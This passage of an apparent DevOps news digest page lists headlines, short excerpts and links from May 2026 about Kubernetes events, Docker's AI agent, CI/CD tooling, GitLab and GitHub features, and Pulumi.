<p><a href="https://opentelemetry.io/blog/2026/otel-graduates/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aamchi-mumbai-a-kubecon-cloudnativecon-field-guide" class="group relative scroll-mt-24">
        <a href="#h3-aamchi-mumbai-a-kubecon-cloudnativecon-field-guide" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Aamchi Mumbai: A KubeCon + CloudNativeCon field guide
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aamchi-mumbai-a-kubecon-cloudnativecon-field-guide"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Welcome to Mumbai KubeCon + CloudNativeCon India lands in Mumbai on 18-19 June 2026, at the Jio World Convention Centre in BKC. Thousands of cloud native engineers are flying in, many of you for the f</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/21/aamchi-mumbai-a-kubecon-cloudnativecon-field-guide/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-meet-gordon-dockers-ai-agent-for-your-entire-container-workflow" class="group relative scroll-mt-24">
        <a href="#h3-meet-gordon-dockers-ai-agent-for-your-entire-container-workflow" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Meet Gordon: Docker’s AI Agent For Your Entire Container Workflow
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-meet-gordon-dockers-ai-agent-for-your-entire-container-workflow"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Gordon understands your environment, proposes fixes, and takes action across your entire Docker workflow. Now generally available. Image 1: Gordon in Docker Desktop Why Gordon Exists Developers are mo</p>
<p><strong>📅 May 19, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/meet-gordon-dockers-ai-agent-for-your-entire-container-workflow/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-bitnami-image-removal-from-ecr-public" class="group relative scroll-mt-24">
        <a href="#h3-bitnami-image-removal-from-ecr-public" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Bitnami image removal from ECR Public
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-bitnami-image-removal-from-ecr-public"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Starting on June 10th, 2026, Bitnami container images will no longer be available on Amazon ECR Public Gallery. If you currently pull Bitnami images directly from ECR Public in your workloads, you nee</p>
<p><strong>📅 May 18, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/bitnami-image-removal-from-ecr-public/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-coding-agent-horror-stories-the-security-crisis-threatening-developer-infrastructure" class="group relative scroll-mt-24">
        <a href="#h3-coding-agent-horror-stories-the-security-crisis-threatening-developer-infrastructure" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Coding Agent Horror Stories: The Security Crisis Threatening Developer Infrastructure
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-coding-agent-horror-stories-the-security-crisis-threatening-developer-infrastructure"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This is issue 1 of a new series called Coding Agent Horror Stories where we examine critical security failures in the AI coding agent ecosystem and how Docker Sandboxes provide enterprise-grade protec</p>
<p><strong>📅 May 18, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/ai-coding-agent-horror-stories-security-risks/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cicd" class="group relative scroll-mt-24">
        <a href="#h2-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-ai-agents-in-cicd-pipelines-speed-vs-control-in-modern-devops" class="group relative scroll-mt-24">
        <a href="#h3-ai-agents-in-cicd-pipelines-speed-vs-control-in-modern-devops" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI Agents in CI/CD Pipelines: Speed vs Control in Modern DevOps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-agents-in-cicd-pipelines-speed-vs-control-in-modern-devops"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The moment you push your code, deployment fires off on its own. The pipeline kicks in, the tests sail through, and within a few minutes your app is live in production. There is no manual sign-off and </p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/ai-agents-in-ci-cd-pipelines-speed-vs-control-in-modern-devops/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-experiment-approvals" class="group relative scroll-mt-24">
        <a href="#h3-introducing-experiment-approvals" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing Experiment Approvals
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-experiment-approvals"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Add a safety check before experiment changes reach users.</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/introducing-experiment-approvals/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-designing-an-ai-powered-devsecops-guardrail-pipeline-using-github-actions" class="group relative scroll-mt-24">
        <a href="#h3-designing-an-ai-powered-devsecops-guardrail-pipeline-using-github-actions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Designing an AI-Powered DevSecOps Guardrail Pipeline Using GitHub Actions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-designing-an-ai-powered-devsecops-guardrail-pipeline-using-github-actions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>By embedding AI-powered guardrails directly into CI/CD pipelines, organizations can detect vulnerabilities earlier, enforce security policies automatically and accelerate secure software delivery.</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/designing-an-ai-powered-devsecops-guardrail-pipeline-using-github-actions/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-from-conversations-to-community-our-first-mongodb-dbdevops" class="group relative scroll-mt-24">
        <a href="#h3-from-conversations-to-community-our-first-mongodb-dbdevops" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 From Conversations to Community: Our First MongoDB DBDevOps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-from-conversations-to-community-our-first-mongodb-dbdevops"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Harness and Namma MUG hosted India’s first MongoDB Database DevOps meetup, exploring CI/CD, automation, migrations, and MongoDB-native workflows. | Blog</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/from-conversations-to-community-our-first-mongodb-dbdevops-meetup-in-india"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-beyond-the-engine-10-open-source-projects-shaping-how-games-actually-get-made" class="group relative scroll-mt-24">
        <a href="#h3-beyond-the-engine-10-open-source-projects-shaping-how-games-actually-get-made" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Beyond the engine: 10 open source projects shaping how games actually get made
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-beyond-the-engine-10-open-source-projects-shaping-how-games-actually-get-made"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Check out these 10 open source tools that help game developers create art, animation, levels, audio, dialogue, debug UIs, and engine-ready assets. The post Beyond the engine: 10 open source projects s</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/open-source/gaming/beyond-the-engine-10-open-source-projects-shaping-how-games-actually-get-made/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-building-githubs-next-chapter-in-accessibility" class="group relative scroll-mt-24">
        <a href="#h3-building-githubs-next-chapter-in-accessibility" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building GitHub’s next chapter in accessibility
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-githubs-next-chapter-in-accessibility"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Explore our update on GitHub’s accessibility strategy, and learn how you can join us in building a culture of accessibility. The post Building GitHub’s next chapter in accessibility appeared first on </p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/open-source/building-githubs-next-chapter-in-accessibility/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-transform-mrs-from-manual-tasks-to-an-automated-workflow" class="group relative scroll-mt-24">
        <a href="#h3-transform-mrs-from-manual-tasks-to-an-automated-workflow" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Transform MRs from manual tasks to an automated workflow
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-transform-mrs-from-manual-tasks-to-an-automated-workflow"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI made writing code dramatically faster, but the work between opening a merge request and merging it has stayed almost entirely manual. Assigning reviewers, addressing feedback round after round, unt</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/transform-mrs-to-automated-workflow/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-track-ci-component-usage-across-your-organization" class="group relative scroll-mt-24">
        <a href="#h3-track-ci-component-usage-across-your-organization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Track CI component usage across your organization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-track-ci-component-usage-across-your-organization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If your platform team publishes standardized pipeline components, you&#39;ve probably encountered this: once they&#39;re out in the wild, you lose visibility. You can&#39;t see if anyone’s actually using it, who&#39;</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/track-ci-component-usage/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-manage-cicd-credentials-with-gitlab-secrets-manager" class="group relative scroll-mt-24">
        <a href="#h3-manage-cicd-credentials-with-gitlab-secrets-manager" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Manage CI/CD credentials with GitLab Secrets Manager
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-manage-cicd-credentials-with-gitlab-secrets-manager"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Many credential leaks start with a developer who needs a credential, doesn’t have a good place to put it, and improvises. It lands in an over-scoped CI/CD variable, a config file, or a .env committed </p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/secrets-manager-in-public-beta/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-more-ai-models-for-gitlab-duo-agent-platform-self-hosted" class="group relative scroll-mt-24">
        <a href="#h3-more-ai-models-for-gitlab-duo-agent-platform-self-hosted" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 More AI models for GitLab Duo Agent Platform Self-Hosted
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-more-ai-models-for-gitlab-duo-agent-platform-self-hosted"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Customers running GitLab Duo Agent Platform Self-Hosted operate under constraints many software teams don&#39;t face: data residency mandates, air-gapped networks, and compliance regulations that prohibit</p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/more-ai-models-for-duo-agent-platform-self-hosted/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-investigating-unauthorized-access-to-github-owned-repositories" class="group relative scroll-mt-24">
        <a href="#h3-investigating-unauthorized-access-to-github-owned-repositories" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Investigating unauthorized access to GitHub-owned repositories
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-investigating-unauthorized-access-to-github-owned-repositories"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If any impact is discovered, customers will be notified via established incident response and notification channels. The post Investigating unauthorized access to GitHub-owned repositories appeared fi</p>
<p><strong>📅 May 20, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/security/investigating-unauthorized-access-to-githubs-internal-repositories/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-consolidate-registries-to-accelerate-secure-cicd-flows" class="group relative scroll-mt-24">
        <a href="#h3-consolidate-registries-to-accelerate-secure-cicd-flows" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Consolidate registries to accelerate secure CI/CD flows
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-consolidate-registries-to-accelerate-secure-cicd-flows"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Artifact repository sprawl across multiple registries creates CI/CD bottlenecks, security blind spots, and compliance gaps. Learn how registry consolidation with unified governance fixes it. | Blog</p>
<p><strong>📅 May 20, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/why-artifact-repository-sprawl-slows-down-software-delivery"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-iac" class="group relative scroll-mt-24">
        <a href="#h2-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏗️ IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-introducing-pulumi-do-direct-resource-operations-for-any-cloud" class="group relative scroll-mt-24">
        <a href="#h3-introducing-pulumi-do-direct-resource-operations-for-any-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing pulumi do: Direct Resource Operations for Any Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-pulumi-do-direct-resource-operations-for-any-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Infrastructure as code is the right model for production systems. State tracking, drift detection, and repeatable deployments all matter when you’re managing real workloads. But sometimes, you also ne</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/pulumi-do-direct-resource-operations/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-streamlining-red-hat-openshift-multicluster-management-with-red-hat-ansible-automation-platform" class="group relative scroll-mt-24">
        <a href="#h3-streamlining-red-hat-openshift-multicluster-management-with-red-hat-ansible-automation-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Streamlining Red Hat OpenShift multicluster management with Red Hat Ansible Automation Platform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-streamlining-red-hat-openshift-multicluster-management-with-red-hat-ansible-automation-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Multicluster management has been a rapidly evolving part of ITOps over the past several years. As organizations deploy hundreds to thousands of clusters across distributed environments, it’s important</p>
<p><strong>📅 May 22, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/streamlining-red-hat-openshift-multicluster-management-red-hat-ansible-automation-platform"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-bringing-neo-to-github-and-slack" class="group relative scroll-mt-24">
        <a href="#h3-bringing-neo-to-github-and-slack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Bringing Neo to GitHub and Slack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-bringing-neo-to-github-and-slack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This week, Pulumi Neo started working in two more places: GitHub and Slack. The agent that already runs Pulumi tasks from the Cloud console and the terminal now participates in the threads where your </p>
<p><strong>📅 May 21, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/neo-github-slack/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-seven-rules-for-building-an-ai-native-software-factory" class="group relative scroll-mt-24">
        <a href="#h3-seven-rules-for-building-an-ai-native-software-factory" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Seven Rules for Building an AI-Native Software Factory
        </a>
        <button 
